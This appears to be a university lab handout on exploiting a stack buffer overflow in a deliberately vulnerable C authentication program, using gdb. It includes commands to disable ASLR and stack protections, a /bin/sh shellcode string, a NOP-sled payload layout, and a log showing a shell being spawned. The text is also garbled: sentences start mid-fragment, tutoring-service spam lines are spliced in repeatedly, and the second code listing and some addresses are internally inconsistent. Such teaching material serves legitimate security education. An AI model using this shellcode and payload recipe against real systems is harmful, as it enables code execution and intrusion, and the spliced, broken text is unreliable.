

Software Security Lab

IMPORTANT NOTES:

1. Study lecture materials at least 1 hour and prepare Question 1-6 under *Buffer Overflow Section* prior to the lab session. Prepared questions will be discussed in the lab session.

1 Lab Description

The learning objective of this lab is for students to gain first-hand experiences on buffer overflow vulnerability exploitation.

2 Buffer Overflow

This exercise allows you to experiment with a variation of the buffer overflow attacks demonstrated in the lecture. It works with the cloud Ubuntu Linux.

Before we start the lab exercise, first we need to disable the Address Space Layout Randomization (ASLR):

```
sudo sysctl -w kernel.randomize_va_space=0
```

Here we first show an example of how to overwrite the returning address of a function call:

1. Copy the source code `/srv/fit2093files/fit2093lab/auth_overflow2.c`¹ to the home directory and compile the code, include symbol info. for debugger (`-g`), disable stack protector (`-fno-stack-protector`), allow the stack to contain executable code (`-z execstack`), use 32-bit (`-m32`), and disable the Position Independent Executables (PIE) (`-fno-pie`).

```
cp /srv/fit2093files/fit2093lab/auth_overflow2.c ~
cd
gcc -fno-stack-protector -z execstack -g -m32 -fno-pie -o auth_overflow2 auth_overflow2.c
```

2. Load the program into the gdb debugger.

```
gdb auth_overflow2
```

3. List the program and set break points just before the buffer overflow point and after the overflow.

```
(gdb) list 1,35
1      #include <stdio.h>
2      #include <stdlib.h>
3      #include <string.h>
4
5      int check_authentication(char *password) {
6
7          char password_buffer[16];
8          int auth_flag[1];
9
10         auth_flag[0] = 0;
11
12         strcpy(password_buffer, password);
```

¹Alternatively, you may download from <https://cloudstor.aarnet.edu.au/plus/s/vBB59QZQ7WWtA00> if you are using the local VM.

```

13
14         if(strcmp(password_buffer, "brillig") == 0)
15             auth_flag[0] = 1;
16         if(strcmp(password_buffer, "outgrabe") == 0)
17             auth_flag[0] = 1;
18
19         return auth_flag[0];
20     }
21
22     int main(int argc, char *argv[]) {
23         if(argc < 2) {
24             printf("Usage: %s <password>\n", argv[0]);
25             exit(0);
26         }
27         if(check_authentication(argv[1])) {
28             printf("\n-----\n");
29             printf("        Access Granted.\n");
30             printf("-----\n");
31         } else {
32             printf("\nAccess Denied.\n");
33         }
34     }
35

```

```

(gdb) break 12
Breakpoint 1 at 0x12be: file auth_overflow2.c, line 12.
(gdb) break 19
Breakpoint 2 at 0x12ae: file auth_overflow2.c, line 19.

```

4. Run the program with an input (payload) which is larger than the 10 bytes buffer length (say 20 "A" characters with ASCII code = 0x41).

```

(gdb) run $(perl -e 'print "\x41"x20')
Starting program: /srv/home/rzha0026/auth_overflow2 $(perl -e 'print "\x41"x20')

```

```

Breakpoint 1, check_authentication (password=0xfffffd4b6 'A' <repeats 20 times>) at auth_overflow2.c:12
12         strcpy(password_buffer, password);

```

5. Disassemble the main() function code and locate the return address that execution returns to after the check_authentication function returns.

```

(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x565562b3 <+0>:      endbr32
0x565562b7 <+4>:      lea     ecx,[esp+0x4]
0x565562bb <+8>:      and     esp,0xffffffff
0x565562be <+11>:     push   DWORD PTR [ecx-0x4]
0x565562c1 <+14>:     push   ebp
0x565562c2 <+15>:     mov     ebp,esp
0x565562c4 <+17>:     push   ecx
0x565562c5 <+18>:     sub     esp,0x4
0x565562c8 <+21>:     mov     eax,ecx
0x565562ca <+23>:     cmp     DWORD PTR [eax],0x1
0x565562cd <+26>:     jg      0x565562ef <main+60>
0x565562cf <+28>:     mov     eax,DWORD PTR [eax+0x4]
0x565562d2 <+31>:     mov     eax,DWORD PTR [eax]
0x565562d4 <+33>:     sub     esp,0x8
0x565562d7 <+36>:     push   eax

```

```

0x565562d8 <+37>:    push    0x56557019
0x565562dd <+42>:    call   0xf7e1cde0 <printf>
0x565562e2 <+47>:    add     esp,0x10
0x565562e5 <+50>:    sub     esp,0xc
0x565562e8 <+53>:    push    0x0
0x565562ea <+55>:    call   0xf7e00f80 <exit>
0x565562ef <+60>:    mov     eax,DWORD PTR [eax+0x4]
0x565562f2 <+63>:    add     eax,0x4
0x565562f5 <+66>:    mov     eax,DWORD PTR [eax]
0x565562f7 <+68>:    sub     esp,0xc
0x565562fa <+71>:    push    eax
0x565562fb <+72>:    call   0x5655624d <check_authentication>
0x56556300 <+77>:    add     esp,0x10
0x56556303 <+80>:    test    eax,eax
0x56556305 <+82>:    je      0x56556339 <main+134>
0x56556307 <+84>:    sub     esp,0xc
0x5655630a <+87>:    push    0x5655702f
0x5655630f <+92>:    call   0xf7e3a290 <puts>
0x56556314 <+97>:    add     esp,0x10
0x56556317 <+100>:   sub     esp,0xc
0x5655631a <+103>:   push    0x5655704c
0x5655631f <+108>:   call   0xf7e3a290 <puts>
0x56556324 <+113>:   add     esp,0x10
0x56556327 <+116>:   sub     esp,0xc
0x5655632a <+119>:   push    0x56557062
0x5655632f <+124>:   call   0xf7e3a290 <puts>
0x56556334 <+129>:   add     esp,0x10
0x56556337 <+132>:   jmp     0x56556349 <main+150>
0x56556339 <+134>:   sub     esp,0xc
0x5655633c <+137>:   push    0x5655707e
0x56556341 <+142>:   call   0xf7e3a290 <puts>
0x56556346 <+147>:   add     esp,0x10
0x56556349 <+150>:   mov     eax,0x0
0x5655634e <+155>:   mov     ecx,DWORD PTR [esp+0x4]
0x56556351 <+158>:   leave
0x56556352 <+159>:   lea     esp,[ecx-0x4]
0x56556355 <+162>:   ret
End of assembler dump.

```

Note that in our case, 0x56556300 is the returning address (i.e. the instruction following the call to check_authentication function). The instructions and addresses may be different in your VM.

Examine the contents of the stack memory (starting the at the first byte of the password_buffer):

```

(gdb) x/16xw password_buffer
0xfffffd230:    0xf7fb0000    0xf7fe22d0    0x00000000    0xf7e01212
0xfffffd240:    0xf7fb03fc    0x00000001    0xfffffd268    0x56556300
0xfffffd250:    0xfffffd4b6    0xfffffd314    0xfffffd320    0x56556381
0xfffffd260:    0xf7fe22d0    0xfffffd280    0x00000000    0xf7de7ee5

```

Can you see the address after the end of the password_buffer in the check_autheticntictation() stack frame where the return address is stored? (look for the return address you identified earlier in the stack memory dump).

- Continue execution to next breakpoint (after the overflow strcpy), and examine the stack memory again. Can you see the overflow bytes containing the '0x41' characters? How large should the overflow be to reach and overwrite the return address?

removing the line breaks) opens a Linux command shell that allows the attacker to issue arbitrary Linux commands on the attacked machine.

```
\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\xa6\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80\x90
```

Hint: Construct the buffer-overflowing input containing our payload as follows:

NOP sled (40 bytes)	Shellcode (36 bytes)	40x Repeating return address (160 bytes)
---------------------	----------------------	--

a NOP is a instruction which does nothing (No Operation – 0x90). Even if the attacker guesses the starting address of the shellcode incorrectly, as long as the guessed address falls in the NOP sled part, the shellcode will still be executed after the harmless NOPs.

```
(gdb) list 1,35
1      #include <stdio.h>
2      #include <stdlib.h>
3      #include <string.h>
4
5      int check_authentication(char *password) {
6
7          char password_buffer[96];
8          int auth_flag = 0;
9
10         auth_flag[0] = 0;
11
12         strcpy(password_buffer, password);
13         if(strcmp(password_buffer, "brillig") == 0)
14             auth_flag[0] = 1;
15         if(strcmp(password_buffer, "outgrabe") == 0)
16             auth_flag[0] = 1;
17         return auth_flag[0];
18     }
19
20 }
21
22 int main(int argc, char *argv[]) {
23     if(argc < 2) {
24         printf("Usage: %s <password>\n", argv[0]);
25         exit(0);
26     }
27     if(check_authentication(argv[1])) {
28         printf("\n-----\n");
29         printf("    Access Granted.\n");
30         printf("-----\n");
31     } else {
32         printf("\nAccess Denied.\n");
33     }
34 }
35
(gdb) break 12
Breakpoint 1 at 0x125e: file auth_overflow3.c, line 12.
(gdb) break 19
Breakpoint 2 at 0x12ae: file auth_overflow3.c, line 19.
(gdb) run $(perl -e 'print "\x41"x100')
Starting program: /srv/home/rzha0026/auth_overflow3 $(perl -e 'print "\x41"x100')
```

Assignment Project Exam Help
<https://tutorcs.com>
 WeChat: cstutorcs

Breakpoint 1, check_authentication (password=0xffffd466 'A' <repeats 100 times>) at auth_overflow3.c:12
 12 strcpy(password_buffer, password);

(gdb) set disassembly-flavor intel

(gdb) disass main

Dump of assembler code for function main:

```

0x565562b3 <+0>:      endbr32
0x565562b7 <+4>:      lea     ecx,[esp+0x4]
0x565562bb <+8>:      and     esp,0xffffffff
0x565562be <+11>:     push   DWORD PTR [ecx-0x4]
0x565562c1 <+14>:     push   ebp
0x565562c2 <+15>:     mov     ebp,esp
0x565562c4 <+17>:     push   ecx
0x565562c5 <+18>:     sub     esp,0x4
0x565562c8 <+21>:     mov     eax,ecx
0x565562ca <+23>:     cmp     DWORD PTR [eax],0x1
0x565562cd <+26>:     jg      0x565562ef <main+60>
0x565562cf <+28>:     mov     eax,DWORD PTR [eax+0x4]
0x565562d2 <+31>:     mov     eax,DWORD PTR [eax]
0x565562d4 <+33>:     sub     esp,0x8
0x565562d7 <+36>:     push   eax
0x565562d8 <+37>:     push   0x56557019
0x565562dd <+42>:     call   0xf7e1cde0 <printf>
0x565562e2 <+47>:     add     esp,0x10
0x565562e6 <+50>:     sub     esp,0xc
0x565562e8 <+53>:     push   0x0
0x565562ea <+55>:     call   0xf7e00f80 <exit>
0x565562ef <+60>:     mov     eax,DWORD PTR [eax+0x4]
0x565562f2 <+63>:     add     eax,0x4
0x565562f5 <+66>:     mov     eax,DWORD PTR [eax]
0x565562f7 <+68>:     sub     esp,0xc
0x565562fa <+71>:     push   eax
0x565562fb <+72>:     call   0x5655624d <check_authentication>
0x56556300 <+77>:     add     esp,0x10
0x56556303 <+80>:     test    eax,eax
0x56556305 <+82>:     je      0x56556339 <main+134>
0x56556307 <+84>:     sub     esp,0xc
0x5655630a <+87>:     push   0x5655702f
0x5655630f <+92>:     call   0xf7e3a290 <puts>
0x56556314 <+97>:     add     esp,0x10
0x56556317 <+100>:    sub     esp,0xc
0x5655631a <+103>:    push   0x5655704c
0x5655631f <+108>:    call   0xf7e3a290 <puts>
0x56556324 <+113>:    add     esp,0x10
0x56556327 <+116>:    sub     esp,0xc
0x5655632a <+119>:    push   0x56557062
0x5655632f <+124>:    call   0xf7e3a290 <puts>
0x56556334 <+129>:    add     esp,0x10
0x56556337 <+132>:    jmp     0x56556349 <main+150>
0x56556339 <+134>:    sub     esp,0xc
0x5655633c <+137>:    push   0x5655707e
0x56556341 <+142>:    call   0xf7e3a290 <puts>
0x56556346 <+147>:    add     esp,0x10
0x56556349 <+150>:    mov     eax,0x0
0x5655634e <+155>:    mov     ecx,DWORD PTR [ebp-0x4]
0x56556351 <+158>:    leave
0x56556352 <+159>:    lea     esp,[ecx-0x4]
0x56556355 <+162>:    ret

```

Assignment Project Exam Help

<https://tutorcs.com>

WeChat: cstutorcs


```
password=0xffffffff114 '\220' <repeats 20 times>, "\061\300\061\333\061\260\244g\vxQh//ssh/bin\211\343Q\211\342S\211\3
19         return auth_flag[0];
(gdb) x/48xw password_buffer
0xffffffff100:      0x90909090      0x90909090      0x90909090      0x90909090
0xffffffff110:      0x90909090      0x90909090      0x90909090      0x90909090
0xffffffff120:      0x90909090      0x90909090      0xdb31c031      0xb099c931
0xffffffff130:      0x6a80cda4      0x6851580b      0x68732f2f      0x69622f68
0xffffffff140:      0x51e3896e      0x8953e289      0x9080cde1      0xffffffff114
0xffffffff150:      0xffffffff114      0xffffffff114      0xffffffff114      0xffffffff114
0xffffffff160:      0xffffffff114      0xffffffff114      0xffffffff114      0xffffffff114
0xffffffff170:      0xffffffff114      0xffffffff114      0xffffffff114      0xffffffff114
0xffffffff180:      0xffffffff114      0xffffffff114      0xffffffff114      0xffffffff114
0xffffffff190:      0xffffffff114      0xffffffff114      0xffffffff114      0xffffffff114
0xffffffff1a0:      0xffffffff114      0xffffffff114      0xffffffff114      0xffffffff114
0xffffffff1b0:      0xffffffff114      0xffffffff114      0xffffffff114      0xffffffff114
(gdb) continue
Continuing.
process 1599344 is executing new program: /usr/bin/dash
Error in re-setting breakpoint 1: No source file named /srv/home/rzha0026/auth_overflow3.c.
Error in re-setting breakpoint 2: No source file named /srv/home/rzha0026/auth_overflow3.c.
$
```

Assignment Project Exam Help

<https://tutorcs.com>

WeChat: cstutorcs